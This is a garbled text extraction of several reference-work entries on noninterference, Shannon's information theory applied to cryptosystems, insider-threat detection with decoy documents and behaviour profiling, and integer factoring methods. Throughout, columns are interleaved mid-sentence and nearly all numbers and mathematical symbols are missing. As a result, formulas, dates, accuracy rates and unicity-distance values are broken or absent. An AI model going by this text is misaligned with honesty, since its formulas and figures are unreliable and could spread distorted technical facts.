direct or indirect information flows approaches and solutions. Springer, Heidelberg
Information Flow and Noninterference I
. Biskup J, Bonatti PA () Controlled query evaluation for . Myers AC, Liskov B () Protecting privacy using the decen-
enforcing confidentiality in complete information systems. tralized label model. ACM Trans Softw Eng Method ():
Int J Inf Sec ():
. Brodsky A, Farkas C, Jajodia S () Secure databases: con- . Olivier MS, von Solms H () A taxonomy for secure object-
straints, inference channels, and monitoring disclosures. IEEE oriented databases. ACM Trans Database Syst ():
Trans Knowl Data Eng (): . Sandhu RS, Jajodia S () Polyinstantation for cover stories.
. Chin FYL () Security in statistical databases for queries with In: Deswarte Y, Eizenberg G, Quisquater J-J (eds) ESORICS.
small counts. ACM Trans Database Syst (): Lecture notes in computer science, vol . Springer, Heidel-
. Cohen ES () Information transmission in computational berg, pp
systems. In: Symposium on operating system principles, SOSP . Traub JF, Yemini Y, Wozniakowski H () The statistical
T. ACM Press, New York, pp security of a statistical database. ACM Trans Database Syst
. Cuppens F, Gabillon A () Logical foundations of multilevel ():
databases. Data Knowl Eng (): . Winslett M, Smith K, Qian X () Formal query languages
. Cuppens F, Gabillon A () Cover story management. Data for secure relational databases. ACM Trans Database Syst
Knowl Eng ():I ():
. Dawson S, De Capitani di Vimercati S, Samarati P ()
Specification and enforcement of classification and inference
constraints. In: IEEE symposium on security and privacy. IEEE,
Los Alamitos, pp
. Denning DE () A lattice model of secure information flow. Information Assurance
Commun ACM ():
. Denning DE () Cryptography and data security. Addison-
Levels of Trust
Wesley, Reading I
. Denning DE, Denning PJ () Certification of programs for
secure information flow. Commun ACM ():
. Denning DE, Denning PJ, Schwartz MD () The tracker: a
threat to statistical database security. ACM Trans Database Syst Information Flow and
(): Noninterference
. Denning DE, Schlrer J () Inference controls for statistical
databases. IEEE Comput (): Heiko Mantel
. Evfimievski AV, Fagin R, Woodruff DP () Epistemic privacy.
In: Principles of database systems, PODS . ACM, New York,
Department of Computer Science, TU Darmstadt,
pp Darmstadt, Germany
. Farkas C, Jajodia S () The inference problem: a survey.
SIGKDD Explorations ():
. Goguen JA, Mesequer J () Unwinding and inference control. Synonyms
In: IEEE symposium on security and privacy. IEEE, New York, Information flow security
pp
. Halpern JY, ONeill KR () Secrecy in multiagent systems.
Related Concepts
ACM Trans Inf Syst Secur ():..
. Hughes D, Shmatikov V () Information hiding, anonymity
Covert Channels; Information Theory; Mandatory
and privacy: a modular approach. J Comput Secur (): Access Control; Multilevel Security Policies; Refinement
. Gray JW III () Toward a mathematical foundation for infor- Paradox; Security Certification; Security Policy;
mation flow security. In: IEEE symposium on security and Side-Channel Analysis; Side-Channel Attacks
privacy. IEEE, New York, pp
. Jajodia S, Sandhu RS () Towards a multilevel secure rela-
tional data model. In: Clifford J, King R (eds) SIGMOD confer-
Denition
ence. ACM Press, New York, pp Noninterference is a property that restricts the information
. Jones AK, Lipton RJ () The enforcement of security policies flow through a system. It can be used to express aspects of
for computation. In: Symposium on operating system principles, confidentiality and integrity.
SOSP . ACM, New York, pp
. Lunt TF, Denning DE, Schell RR, Heckman M, Shockley WR
() The SeaView security model. IEEE Trans Softw Eng
Background
(): Goguen and Meseguer introduced noninterference in
. Machanavajjhala A, Kifer D, Gehrke J, Venkitasubramaniam M as a declarative definition of the property no illegiti-
() L-diversity: privacy beyond k-anonymity. TKDD, () mate information flow can occur for deterministic state
. Mantel H () On the composition of secure systems. In: IEEE
machines. Subsequently, numerous security properties
symposium security and privacy. IEEE Computer Society Press,
New York, pp
were proposed in order to relax the restrictive original defi-
. Miklau G, Suciu D () A formal analysis of information nition or to adapt the intuition underlying noninterference
disclosure in data exchange. J Comput Syst Sci (): to other models of computation.
I Information Flow and Noninterference
Theory A provides no input. Many further possibilistic variants

A process A is said to be noninterfering with another proof noninterference were proposed, and this variety moti-
cess B across a system M if As input to M has no effect vated studies that revealed some surprisingly intriguing
on Ms output to B. This property implies that no infor- advantages and disadvantages of these properties. In the
mation flows from A to B through M. Noninterference so-called probabilistic approach, one additionally requires
expresses a confidentiality guarantee because if the obser- that the probabilities of possible runs must match in some
vations of B are completely independent of the actions of well-defined way. Instead of restricting the flow of infor-
A, then M does not leak anything to B about As input and mation through a system M by a lack-of-dependency prop-
A cannot reveal any secrets to B via M. Noninterference erty like noninterference, one can view M as a commu-
also expresses an integrity guarantee because if no infor- nication channel from A to B and apply concepts from
mation flows from A to B through M, then B cannot be information theory to restrict the bandwidth of this
corrupted by A via M. channel.
Goguen and Meseguer defined noninterference for- Security policies for noninterference and its vari-
mally assuming that the systems behavior is specified ants may be more complex than a single noninterference
by a deterministic state machine M. Let M be a tuple requirement between two processes A and B, and, more-
(S, s , P, I, O, do, out) where S is a set of system states with over, such policies may be formulated at other levels of
an initial state s S, P is a set of processes, I is a set abstraction than in terms of processes. For instance, a
of inputs, O is a set of outputs, do : (S P I) S flow policy is a pair (D, ) where D is a set of so-
is a transition function, and out : (S P) O is an called security domains and D D is a so-called
output function. That is, do(s, p, i) is the state that results interference relation. Security domains are abstract enti-
when M is in state s and process p provides input i to M, ties like, for example, the security levels top secret,
and out(s, p) is Ms output to p in state s. The reaction secret, and unclassified, without any inherent connec-
of M to a sequence of inputs corresponds to a function tion to a particular system. The connection to the system
do : (S (P I) ) S that is defined inductively by under consideration is explicitly specified by a mapping,
do (s, ()) = s and do (s, ((p, i).in)) = do (do(s, p, i), in) the so-called domain assignment, that assigns a secu-
for s S, p P, i I, and in (P I) . The rity domain to each relevant system entity. Relevant sys-
definition of noninterference can now be made precise. tem entities need not be processes, but could be finer
Given an arbitrary input sequence in (P I) , pro- grained like, for example, I/O actions, memory sections,
cess B must receive the same output no matter whether or program variables. Naturally, this requires a defini-
in occurs or the sequence del(in, A) occurs, which results tion of noninterference that is suitable for the chosen
from in by deleting all pairs with A as first element. This granularity. The interference relation specifies the per-
leads to the following definition of A noninterferes with B missible flow of information. Consequently, if D D
across M: does not hold for two security domains D and D then
D noninterferes with D must hold for the given sys-
in (P I) : out(do (s , in), B) = out(do (s , del(in, A)), B) tem and domain assignment for a suitable definition of
noninterference.
Noninterference can be adapted to other models of A multi-level security policy is the special case of
computation than deterministic state machines. However, a flow policy with an interference relation that is a
this adaptation may result in more than one sensible prop- partial order on D. Strict multi-level security is too restric-
erty, in particular, if the model admits nondeterministic tive for systems that reveal data that is generated from
behavior. In the so-called determinism-based approach sensitive information, like, for example, the result of a
to defining noninterference for nondeterministic models, password-based authentication test or the cipher-text that
one requires that, for any given input by B, the output of results from encrypting a secret. Traditionally, security
M to B must be identical for all possible inputs by A in all models enable such exceptions by allowing some pro-
runs that are possible for M given As and Bs inputs. In cesses to declassify information, even if this violates the
contrast, noninterference is defined as a closure property multi-level security policy. These so-called trusted pro-
on the set of possible runs of M in the so-called possibilis- cesses can be avoided in security models by using a
tic approach. For instance, noninference is a possibilistic weakened noninterference property that is capable of per-
variant of noninterference requiring that for each possi- mitting exceptions to a multi-level security policy. This
ble run of M there must be at least one possible run of M approach offers more fine-grained control over declassifi-
that is indistinguishable from Bs perspective and in which cation than using trusted processes, and there are variants
Information Security Management System I
of noninterference that control what may be declassified, and side channels. Fourthly, formally verified guarantees
where declassification may occur, and who may initiate a about information flow security need to be captured in cer-
declassification. tificates that provide reliable assurance, but that are also
comprehensible. Otherwise, customers cannot assess the
Applications advantages of the security of one system over another.
Noninterference and its descendants can be employed for
expressing confidentiality and integrity guarantees. Hence, Recommended Reading
these properties can be used in a security certification . Focardi R, Gorrieri R () A taxonomy of security properties
that requires a formal security model. Noninterference- for process algebras. J Comput Secur ():
like properties are not limited to a specific system layer and, . Goguen JA, Meseguer J () Security policies and security mod-
in particular, can be used for application programs as well els. In: Proceedings of the IEEE symposium on security and
privacy, Oakland, pp
as for system-level software.
. Gray III JW () Toward a mathematical foundation for infor-
Unwinding is a verification technique that can be used mation flow security. In: Proceedings of the IEEE symposium on
to simplify the proof that a given system satisfies noninter- security and privacy, Oakland, pp
ference under a given policy. Compositional verification is . Mantel H () Preserving information flow properties under
possible, but only some variants of noninterference are pre- refinement. In: Proceedings of the IEEE symposium on security
and privacy, Oakland, pp
served under composition, in general. When refining an
. Mantel H () On the composition of secure systems. In:
abstract system specification, noninterference-like proper- Proceedings of the IEEE symposium on security and privacy,
ties might not be preserved, even if other system properties
are. This is known as the refinement paradox.
Oakland, pp
. Mantel H () The framework of selective interleaving func-
I
Noninterference-like properties can also be employed tions and the modular assembly kit. In: Proceedings of the ACM
workshop on formal methods for security engineering: from
to declaratively capture what guarantees are enforced by a
specifications to code, Alexandria, pp
security analysis. In language-based security, for instance, . McLean JD () A general theory of composition for a class of
such properties are often used as a soundness criterion for possibilistic properties. IEEE Trans Softw Eng ():
static program analysis techniques. . Roscoe AW, Woodcock JCP, Wulf L () Non-interference
through determinism. In: Proceedings of the European sympo-
sium on research in computer security. Lecture notes in computer
Open Problems science, vol . Springer, Berlin, pp
A key challenge is how to engineer software systems such . Rushby JM () Noninterference, transitivity, and channel-
that they have secure information flow by construction. control security policies. Technical report CSL--. SRI Inter-
Due to the refinement paradox, this requires a deeper national, Menlo Park, Dec
understanding of the interplay between software engineer-
ing and information flow security. Several fundamental
issues need further investigation. Firstly, a clarification is
needed of how a given security mechanism contributes Information Flow Security
to the enforcement of a system-wide, declaratively speci-
fied security property such as noninterference. Currently, Information Flow and Noninterference
there is a substantial conceptual gap between guarantees
provided by security mechanisms and system-wide infor-
mation flow security. Secondly, usable criteria need to
be identified that allow one to determine when a com- Information Integrity
bination of multiple security mechanisms is sufficient to
guarantee that the overall system has secure information Authentication, From an Information Theoretic Perspec-
flow. That is, the traditional mechanism-centered approach tive
to security engineering needs to be complemented by a
property-centered approach. Thirdly, notions of abstrac-
tion, composition, decomposition, and refinement need
to be developed that are suitable thinking tools for soft- Information Security
ware engineering as well as for achieving information flow Management System
security. Currently, software engineering does not respect
information flow security, leading to undetected possibil- ISMS: A Management Framework for Information Secu-
ities for illegitimate information flow, covert channels, rity
I Information Theoretic Model
Three possible properties of a cryptosystem are now

Information Theoretic Model described using this terminology. A cryptosystem is of Ver-
nam type if H(K) = H(C), where H(K) is the entropy
Shannons Model of the key K and H(C) is the entropy of the ciphertext C.
A cryptosystem has independent key if the plaintext P and
keytext K are mutually independent: H(P) = H(PK)
Information Theory and H(K) = H(KP) (knowledge of the keytext does
not change the uncertainty of the plaintext, and knowl-
Friedrich L. Bauer edge of the plaintext does not change the uncertainty of
Kottgeisering, Germany the keytext).
A cryptosystem is called perfect if plaintext and cipher-
text are mutually independent: H(P) = H(PC) and
Related Concepts H(C) = H(CP) (knowledge of the ciphertext does not
Cryptology (Classical); Shannons Model change the uncertainty of the plaintext, and knowledge of
the plaintext does not change the uncertainty of the cipher-
The entropy function H(X) is a measure of the uncer- text). This means that the security of the system depends
tainty of X, in formula entirely on the key; perfect cryptosystems correspond to
holocryptic keytexts (Key), which are extremely difficult
H(X) = pX (a) log pX (a),
a:p X (a)> to achieve in practice.
where pX (a) = Pr[x = A] denotes the probability that ran-

dom variable X takes on value a. The interpretation is that Shannons Main Theorem
with probability pX (a), X can be described by log pX (a) In a cryptosystem, where the key character is uniquely
bits of information. determined by the plaintext character and the cipher-
The conditional entropy or equivocation (Shannon, text character (ciphertext and plaintext together allow
) H(X/Y) denotes the uncertainty of X provided Y is no uncertainty on the keytext), any two of the follow-
known: ing three properties of the cryptosystem imply the third
one:
H ( X Y) = pX,Y (a, b) log p XY ( a b) Vernamtype, independentkey, perfect.
a,b: p XY ( ab)>
The unicity distance for a given language, a given cryp-
where pX,Y (a, b) =def Pr[(X = a)(Y = b)] and pXY (ab) tosystem, and a given cryptanalytic procedure of attack is
obeys Bayes rule for conditional probabilities: the minimal length of the plaintext such that decryption is
unique. Example: let Z be the cardinality of keytext space,
pX,Y (a, b) = pY (b) pX/Y ( a b), thus assume simple substitution (Substitutions and Permuta-
log pX,Y (a, b) = log pY (b) log p XY ( a b). tions) and an attack by letter frequency. Then for English
with an alphabet of letters, the unicity distance U is
The basic relation on conditional entropy follows from this: given by:
H (X, Y) = H ( X Y) + H (Y) () U .
log Z for decryption with single-letter
In particular, it is to be noted that the entropy is additive if frequencies
() U .

log Z for decryption with bigram frequencies
and only if X and Y are independent:
() U . log Z for decryption with trigram frequen-

H(X, Y) = H(X) + H(Y), cies

(w) U .

log Z for decryption with word frequencies
in analogy to the additive entropy of thermodynamical
( ) U .
log Z for decryption using all grammatical
systems.
and semantical rules
The redundancy of a text is that part (expressed in bits)
that does not carry information. In common English, the For simple substitution with Z = !, one has log Z
redundancy is roughly . [bit/char], the information is .. This leads to the values , , , , and for
roughly . [bit/char], redundancy and information sum the unicity distance, which are confirmed by practical
up to . = log [bit/char]. experience.
Insider Threat Defense I
For bigram substitution with Z = !, there is log Z the subject of study for quite some time but have not suc-
, . and U , for decryption using all grammat- ceeded in eliminating the problem. Monitoring, detection,
ical and semantical rules. and mitigation technologies are realistic necessities that are
The situation is rather similar for German, French, summarized in this chapter.
Italian, Russian, and related Indo-European languages.
For holocryptic sequences of key elements, the unicity
distance is infinite. Theory
A great deal of research has been conducted exploring
Recommended Reading the use of behavior monitoring to detect insider attacks.
. Bauer FL () Decrypted secrets. In: Methods and maxims of The general approach of behavior-monitoring techniques
cryptology. Springer, Berlin requires establishing a baseline of normal user behavior by
. McEliece RJ () The theory of information and coding. In: profiling user actions. Subsequent monitoring for behav-
Encyclopedia of mathematics and its applications, vol . Addison-
iors that deviate from this baseline can be used to signal
Wesley, Reading
a potential insider attack. User profiling techniques can
be useful for detecting masqueraders. Because they may
have stolen a users credentials, they are unlikely to have
the ability to assume a users behavior. On the other hand,
Insider Threat Defense detecting traitors with user profiling techniques is far more
challenging because traitors may exhibit normal behavior,
Salvatore J. Stolfo, Brian M. Bowen, yet perform malicious acts [].
I
Malek Ben Salem An example of a profiling technique that has been
Department of Computer Science, Columbia University, explored relies on modeling user search behavior on host
New York, NY, USA systems. To demonstrate this, host-based sensors have
been designed to monitor user-initiated events. The sen-
sor functions by first building a baseline of normal search
Related Concepts behavior for a user. It then monitors for abnormal file
Behavior Profiling; Decoy Technology search behaviors that may indicate the presence of a
masquerader.
Denition While user profiling is most suitable for detecting mas-
Insider Threat can be defined by the vulnerability cre- queraders, the use of deception, or decoys, plays a valuable
ated from those within the traditional security perimeter. role in the protection of systems, networks, and informa-
Furthermore, insiders can be divided amongst two non- tion particularly from traitors . The first use of decoys in the
mutually exclusive classes: Masqueraders (attackers who cyber domain has been credited to Stoll []. Stolls methods
impersonate another system user) and Traitors (attack- included the use of bogus networks, systems, and docu-
ers using their own legitimate system credentials) who ments to gather intelligence on the attackers, who were
each have varying levels of knowledge. The masquerader apparently seeking state secrets. Among the many tech-
is presumed to have less knowledge of a system than the niques described, he crafted bait files, bogus classified
victim user whose credentials were stolen. The distinction documents that contained nonsensitive government infor-
between these two classes is made primarily to construct mation, and attached alarms to them so that he would
threat models []. know if anyone accessed them. The decoy system described
here builds on that notion increasing the scope, scale, and
Background automation of decoy generation and monitoring.
The complexity and potential cost of the malicious insider Deception-based information resources that have no
problem makes it a significant challenge for organizations. production value other than to attract and detect adver-
Although the scope of the problem extends beyond com- saries (like those used by Stoll) are commonly known as
puting, the vastness of the cyber domain provides a fertile honeypots. Honeypots serve as effective tools to gather
environment for exploitation by insiders. The ideal defense intelligence to understand how attackers operate. Honey-
strategy is to deploy systems that prevent insider attack. pots are considered to have low false positive rates since
However, prevention-oriented methods such as policy- they are designed to capture only malicious attackers,
based mechanisms and access control systems have been except for occasional mistakes by innocent users.
I Insider Threat Defense
In order to create decoys to bait insiders with var- appropriate to protect personally identifiable data of indi-
ious levels of knowledge and maximize the deception vidual volunteer subjects. This was the approach taken by
they induce, one must understand the core properties of Maloof et al. for evaluating ELICIT []. In order to eval-
a decoy. These properties guide the design of systems uate the search behaviorbased user profiling technique, a
that automate the generation and placement of trap-based user study was conducted, where data from users was
decoys. The properties include conspicuousness, entice- gathered by distributing host sensors that upload system
ment, non-interference, variability, differentiable, detectabil- event data during normal system use. The volunteers, all
ity, and believability []. CS students at Columbia University, have therefore a com-
A good decoy should make it difficult for an adver- mon role in the organization, and hence variations in the
sary to discern whether they are looking at an authentic user behavior and their data are not attributable to different
document from a legitimate source or if they are look- job functions as is undoubtedly the case with the Schon-
ing at a decoy. For concreteness, the definition of perfect lau dataset. Data was also gathered from paid volunteers
secrecy proposed in the cryptographic community is built who emulated masquerade attacks on lab equipment. The
upon to define a perfect decoy to be a decoy that is dataset, which is called RUU (Are You You?) dataset, is over
completely indistinguishable from one that is not. One GB and is available to legitimate researchers for down-
approach used in creating decoys relies on a document load []. The data collected for each user averages about
marking scheme in which all documents contain embed- days of normal system use, ranging in the extreme
ded markings such that decoys are tagged with Hash-based between day and days, and an average of more than
Message Authentication Codes (HMACs) and non-decoys million records per user.
are tagged with indistinguishable randomness. Here, the In the experiment, the masqueraders had no prior
challenge of distinguishing decoys reduces to the prob- access to the file system of a lab machine, which was
lem of distinguishing between pseudorandom and random designed to look very realistic and to include poten-
numbers, a task proven to be computationally infeasi- tially interesting patent applications, personally identifi-
ble under certain assumptions about the pseudorandom able information, as well as account credentials stored in
generation process. Hence, these are examples of perfect various files. The students were provided a scenario where
decoys and the only attacker capable of distinguishing they were asked to perform a specific task, which con-
them is one with the key, perhaps the highly privileged sisted of finding any data on the file system that could
insider. be used for financial gain. The features used for mod-
eling were in essence volumetric statistics characterizing
Experimental Results search volume and velocity, and describing the overall
Insider attack research is made difficult due to the lack computer session in terms of the number of Internet
of readily available insider attackers or a complete set of browsing-related actions, the number of of development-
realistic data they generate. For this reason, researchers and programming-related actions, the number of desk-
must resort to generating their own data that simulates top games-related events, etc. A one-class Support Vector
insider attacks. The Schonlau dataset [] is the most widely Machine (ocSVM) model was then trained for each user
used for academic study. It consists of sequences of , using those features. The same features were extracted
UNIX commands generated by users with different job from test data after dividing them into -s epochs. The
roles, but the data does not include command arguments ocSVM models were tested against these features, and a
or timestamps. The data has been used for comparative threshold was used to determine whether the user activ-
evaluations of different supervised machine learning algo- ity during the -s epochs was normal or abnormal. If the
rithms. The Schonlau data is not a true Masquerade user activity was performed by the normal user, but was
dataset: the data gathered from different users were ran- classified as abnormal by the ocSVM model, a false pos-
domly mixed to simulate a masquerader attack, making itive is recorded. The results using the collected data and
the dataset perhaps more suitable for author identifica- this modeling approach show that masquerade activity can
tion studies. An alternative approach to acquire sufficient be detected with % accuracy and with a false positive
data for evaluating monitoring and detection techniques is rate of .% [].
to devise a process to acquire human user data under nor- Experiments involving deception or trap-based detec-
mal operation as well as simulated attack data where red tion methods involved the creation of decoy documents
team users are tasked to behave as inside attackers. This with embedded HMACs. The HMAC key is kept secret and
type of study is typically subject to Institutional Review managed by the decoy system, where it is also associated
Board approvals since human subjects are involved. The with a particular registered host. Since the system depends
process is costly, in time and effort, but is sensible and on all documents being tagged, another component inserts
Integer Factoring I
random decoy markers in non-decoy documents, making large organizations is devoted to mapping the IT network,
them indistinguishable from decoys without knowledge of and defending it primarily from outside attackers. Internal
the secret key. security is typically handled by state-of-the-art authen-
A host sensor that detects malicious activity by mon- tication technology. An important new area of research
itoring user actions directed at HMAC-embedded decoy involves measurement of the security posture of the entire
documents was built to evaluate the baiting technique. organization, primarily focused on the credentialed users
When a decoy document is opened or copied by any appli- within that organization. New research is needed to design
cation or process, an alert is issued. metrics to evaluate whether users are ill-informed of crit-
The decoy host sensor was tested on a Windows XP ical policies, and whether they commit too many serious
machine. A total of decoy PDF documents generated errors that threaten the security of the entire organization.
through the decoy system were embedded in the local The insider threat problem requires a far deeper analysis
file system. Markers containing randomness in place of and significant new research before anyone can say with
HMACs were embedded in another , normal PDF any level of assurance my organization is secure.
files on the local system. Any attempt to load a decoy file
in memory was recorded by the sensor including content Recommended Reading
or metadata modification, as well as any attempt to print, . Bowen BM, Ben Salem M, Hershkop S, Keromytis AD, Stolfo
zip, or unzip the file. SJ () Designing host and network sensors to mitigate the
The sensor detects the loading of decoy files in mem- insider threat. IEEE Secur Priv Mag ():
. Ben Salem M, Hershkop S, Stolfo SJ () A survey of insider
ory with % accuracy by validating the HMAC value
in the PDF files. However, it was discovered during vali-
attack detection research. In: Stolfo S, Bellovin S, Hershkop S, I
Sinclair S, Smith S (eds) Insider attack and cyber security: beyond
dation tests that detection is susceptible to false positive the hacker. Springer, New York, pp
rates. The problem encountered during testing was cre- . Stoll C () Stalking the wily hacker. Commun ACM ():
ated by antivirus scans of the file system! The file accesses . Bowen BM, Hershkop S, Keromytis AD, Stolfo SJ () Bait-
ing inside attackers using decoy documents. In: Proceedings of
of the scanning process that touched a large number of
the th international ICST conference on security and privacy in
files, resulted in the generation of a number of decoy alerts. communication networks (SecureComm ), Athens,
A solution was engineered for this particular problem by . Matthias S () Masquerading user data. http://www.schonlau.
filtering alerts generated by automatic antivirus scans and net/intrusion.html
backup processes, but the test demonstrates a fundamen- . Maloof MA, Stephens GD () Elicit: a system for detecting
insiders who violate need-to-know. In Kruegel C, Lippmann R,
tal design challenge to architect a security system with
Clark A (eds) Recent advances in intrusion detection (RAID
potentially interfering competing monitors. ). Springer, Heidelberg, pp
. Ben Salem M () RUU dataset: http://www.cs.columbia.edu/
Open Problems ids/ruu/data/
Probably the most dangerous of all attackers is the priv- . Ben Salem M, Hershkop S, Stolfo SJ () Modeling user
search-behavior for masquerade detection. Technical report
ileged and highly sophisticated user. Such attackers will
# cucs-- , Columbia University Department of Computer
be fully aware that the system is baited and will employ Science,
sophisticated tools to try to analyze, disable, and avoid . Lawrence-Pfleege S, Predd JB, Hunker J, Bulford C () Insid-
decoys entirely. As an example of how defeating this level of ers behaving badly: addressing bad actors and their actions. IEEE
threat might be possible, consider the analogy with some- Trans Info Forensics Security Arch()
one who knows encryption is used (and which encryp-
tion algorithm is used), but still cannot break the system
because they do not have knowledge of an easy-to-change
operational parameter (the key). Likewise, just because Integer Factoring
someone knows that decoys are used in the system does
not mean they should be able to identify them all. Devis- Arjen K. Lenstra
ing hard-to-defeat insider attack detection systems for the Laboratory for Cryptologic Algorithms - LACAL, School
most sophisticated and knowledgeable insider remains an of Computer and Communication Sciences, cole
open challenge. Polytechnique Fdrale de Lausanne, Switzerland
The detection of insider threats and insider malfea-
sance is only part of the story. Mitigation strategies may
include a significant effort to evaluate the security poli- Related Concepts
cies of an organization that may be warranted once an Factorization Circuits; Number Field Sieve for
insider attack has been detected (see []). Much effort in Factoring; Quadratic Sieve
I Integer Factoring
Denition Special purpose: trial division, Pollards rho method,

Integer factoring is the following problem: given a positive Pollards p method and generalizations thereof,
composite integer n, find positive integers v and w, both elliptic curve method for factoring
greater than , such that n = v w. General purpose: Fermats method and congruence of
squares, Dixons random squares method, continued
Background fraction method (CFRAC), linear sieve, quadratic
Integer factoring is widely assumed to be a hard problem. sieve, number field sieve for factoring
Obviously, it is not hard for all composites, but composites For a more complete survey refer to [] and the references
for which it is believed to be difficult can easily be gener- therein.
ated. This belief underlies the security of RSA public-key
encryption and the RSA digital signature scheme. To the Establishing Compositeness
present day, no proof of the difficulty of factoring has been Fermats little theorem says that ap mod p if p is a
published. This is quite unlike the discrete logarithm prob- prime number and a is a positive integer < p (modular
lem, where the difficulty is provable for a generic group arithmetic). Thus, an a {, , . . . , n } for which an /
[, ]. mod n would establish the compositeness of n at the cost
However, this result does not have much practical rel- of a single exponentiation modulo n. The proof of com-
evance. In particular it does not say anything about the positeness does not provide any information that may be
hardness of computing discrete logarithms in multiplica- useful to find a nontrivial factor of n. Also, this type of com-
tive groups of finite fields, a problem that is widely regarded positeness proof does not work for all composites, because
as being as hard (or as easy) as integer factoring. On a for some composites an mod n for all a that are
quantum computer, both problems are easy in the sense coprime to n. There are infinitely many of such composites,
that they allow polynomial-time solutions. Given the cur- the so-called Carmichael numbers [].
rent state of the art in quantum computer manufacturing, Fermats little theorem allows an alternative formula-
this is not yet considered to be a threat affecting factor- tion for which the converse is always useful for composite-
ing or discrete logarithmbased cryptosystems. Quantum ness testing. Let n = t u for integers t and u with u odd.
computer factoring is not discussed here. If n > were prime, then any integer a {, , . . . , n }
i
satisfies the condition that either au mod n or a u
Theory and Applications mod n for some i {, , . . . , t }. An integer a
{, , . . . , n } for which this condition does not hold is
Methods for Integer Factorization
called a witness to the compositeness of n. For odd com-
RSA cryptosystems are faster when smaller composites
posite n at least % of the numbers in {, , . . . , n } are
are used, but believed to be more secure for larger ones.
witnesses to their compositeness []. Therefore, it can in
Finding the right middle-ground between efficiency and
general be expected that ns compositeness can be proved
security requirements requires the study of theoretical
at the cost of at most a few exponentiations modulo n, sim-
and practical aspects of the integer factorization methods.
ply by trying elements of at random until a witness has
Often, two types of integer factoring methods are distin-
been found. This probabilistic compositeness test is often
guished: general purpose and special purpose methods.
referred to as the Miller-Rabin probabilistic primality test.
For general purpose methods the factoring effort depends
If n itself is randomly selected too (as may happen dur-
solely on the size of the composite n to be factored. For
ing the search for a prime number), it is usually faster to
special purpose methods properties of n (mostly but not
establish its compositeness using trial division (see below).
always of one of the factors of n) come into play as well.
RSA composites are generally chosen in such a way that
Distinct Factors
special purpose methods would be less efficient than gen-
Let a be a witness to the compositeness of n, as above.
eral purpose ones. Special purpose methods are therefore This witness can be used to check that n is not a prime
hardly relevant for RSA composites. For randomly selected
power at negligible additional cost. By squaring the num-
composites, however, special purpose methods are on aver- t
ber a u mod n that was last calculated, one calculates
age very effective. For example, almost % of all positive
(an a) mod n. If it is zero, then n is not a prime power
integers have a factor < , ; if such a factor exists, it
because the odd parts of the t + factors
will be found very quickly using trial division, the sim-
plest of the special purpose methods (see below). Here the t
u i u
a (a ) (a + )
following factoring methods are sketched: i=
Integer Factoring I
of an a are pairwise relatively prime; actually, in that case xi but xi as well). As a result, and under the assump-
one of those t + factors has a nontrivial factor in common tion that the walk is random, the expected time to find p

with n, which can easily be found. If (an a) mod n , becomes proportional to (log n) p; this closely matches
one verifies that gcd(an a, n) = , which shows that n is practical observations. The name of the method is based
not a prime power: if n were pk for a prime p, then ap on the shape of the Greek character rho () depicting a
k
a mod p and thus also an ap a mod p, so that p would sequence that bites in its own tails. The method is related
divide an a. to Pollards rho method for solving the discrete logarithm
problem.
Repeated Factors In practice, the gcd-computation per iteration is
If n is an odd composite and not a prime power, it may replaced by a single gcd-computation of n and the prod-
still be a proper power of a composite (i.e., n = m for uct modulo n of, say, consecutive (xi xi )s. In the
m, Z> with m composite) or it may properly contain a unlikely event that the gcd turns out to be equal to n,
square (i.e., n = m w for m, , w Z> with gcd(m, w) = ). one backs up and computes the gcds more frequently. See
Proper powers can be recognized by approximating th also [].
roots of n for [ log n
log
] using a standard numerical
method such as Newtons method. At present there is in Pollards p Method
general no better way to find out if n properly contains a Pollards p method [] is based on the following obser-
square than factoring n. vation. It follows from Fermats little theorem that if a
is coprime to a prime p and k is an integer multiple of I
Trial Division p , then ak mod p. Thus, if p is a prime factor
Trial division up to bound B is the process of checking for of n, then p divides either gcd(a, n) or gcd(ak , n),
all primes B in succession if they divide n, until the small- where a is randomly selected from {, , . . . , n }. This
est prime factor p of n is found or until it is shown that means that primes p dividing n for which p is B-smooth
p > B. This takes time proportional to log n min(p, B). (smoothness) may be found by selecting an integer a
For randomly selected n trial division can be expected to {, , . . . n } at random, checking that gcd(a, n) = ,
be very effective. It cannot be recommended to use B larger and computing gcd(ak , n) where k is the product of the
than, say, (with the precise value depending on the rel- primes B and appropriately chosen small powers thereof.
ative speeds of implementations) because larger p can be This takes time proportional to (log n) B. In a second
found more efficiently using one of the methods described stage one may successively try k q as well for the primes
below. q between B and B , thereby finding p for which p is the
product of a B-smooth part and a single larger prime factor
up to B ; the additional cost is proportional to B B.
Pollards rho Method
For n with unknown factorization, the best values B
Pollards rho method [] is based on the birthday para-
and B are unknown too and, in general, too large to make
dox: if x , x , x , . . . is a random walk on Z/pZ, then for any
the method practical. However, one may try values B, B
p there is a fair probability that xi = xj for some indices i j
depending on the amount of computing time one finds rea-
up to about p. Similarly, if x , x , x , . . . is a random walk
sonable and turn out to be lucky; if not, one gives up as far
on Z/n Z, then for any p < n there is a fair probability for
as Pollards p method is concerned. Despite its low prob-
a collision xi xj mod p for i j up to about p; if p is an
ability of success, the method is quite popular, and has led
unknown divisor of n, such a collision can be recognized
to some surprising factorizations.
because it implies that p divides gcd(n, xi xj ).
In Pollards rho method a walk on Z/nZ is defined by
selecting x Z/nZ at random and by defining xi+ = Generalizations of Pollards p Method
(xi + ) mod n. There is no a priori reason why this would Pollards p method is the special case d = of a more
define a random walk on Z/nZ, but if it does it may reveal general method that finds a prime factor p of n for which

the smallest factor p of n after only about p iterations. At the order pd of the multiplicative group Fpd of Fpd is
the ith iteration, this would require i gcd-computations smooth.
gcd(n, xi xj ) for j < i, making the method slower than trial Because
division. This problem is overcome by means of Floyds
cycle-finding method: at the ith iteration compute just Xd = t (X),
gcd(n, xi xi ) (thus requiring computation of not only t dividing d
I Integer Factoring
where t (X) is the tth cyclotomic polynomial (thus, close to p. If #Ep is smooth, then p can efficiently be found

(X) = X , (X) = XX = X + , (X) = XX = using arithmetic in the group of points of the elliptic curve

X
X + X + , (X) = (X)(X+) = X + , etc.), the order
modulo n. It is conjectured that the smoothness behavior
of #Ep is similar to that of ordinary integers of that size
of Fpd is smooth if and only if t (p) is smooth for all inte-
(smoothness probability), which implies that the method
gers t dividing d. For each t the smoothness test (possibly
works efficiently for all n. It also implies that the method
leading to a factorization of n) consists of an exponenti-
can be expected to find smaller factors faster than larger
ation in a ring modulo n that contains the order t (p)
ones. In the worst case where n is the product of two primes
subgroup of the multiplicative group of the subfield Fpt of
of about the same size the heuristic expected runtime is
Fpd . For t = d = the method is known as Williams p +
Ln [/, ], with Ln as in L notation; this is subexponen-
method []; for general d, it is due to Bach and Shallit [].
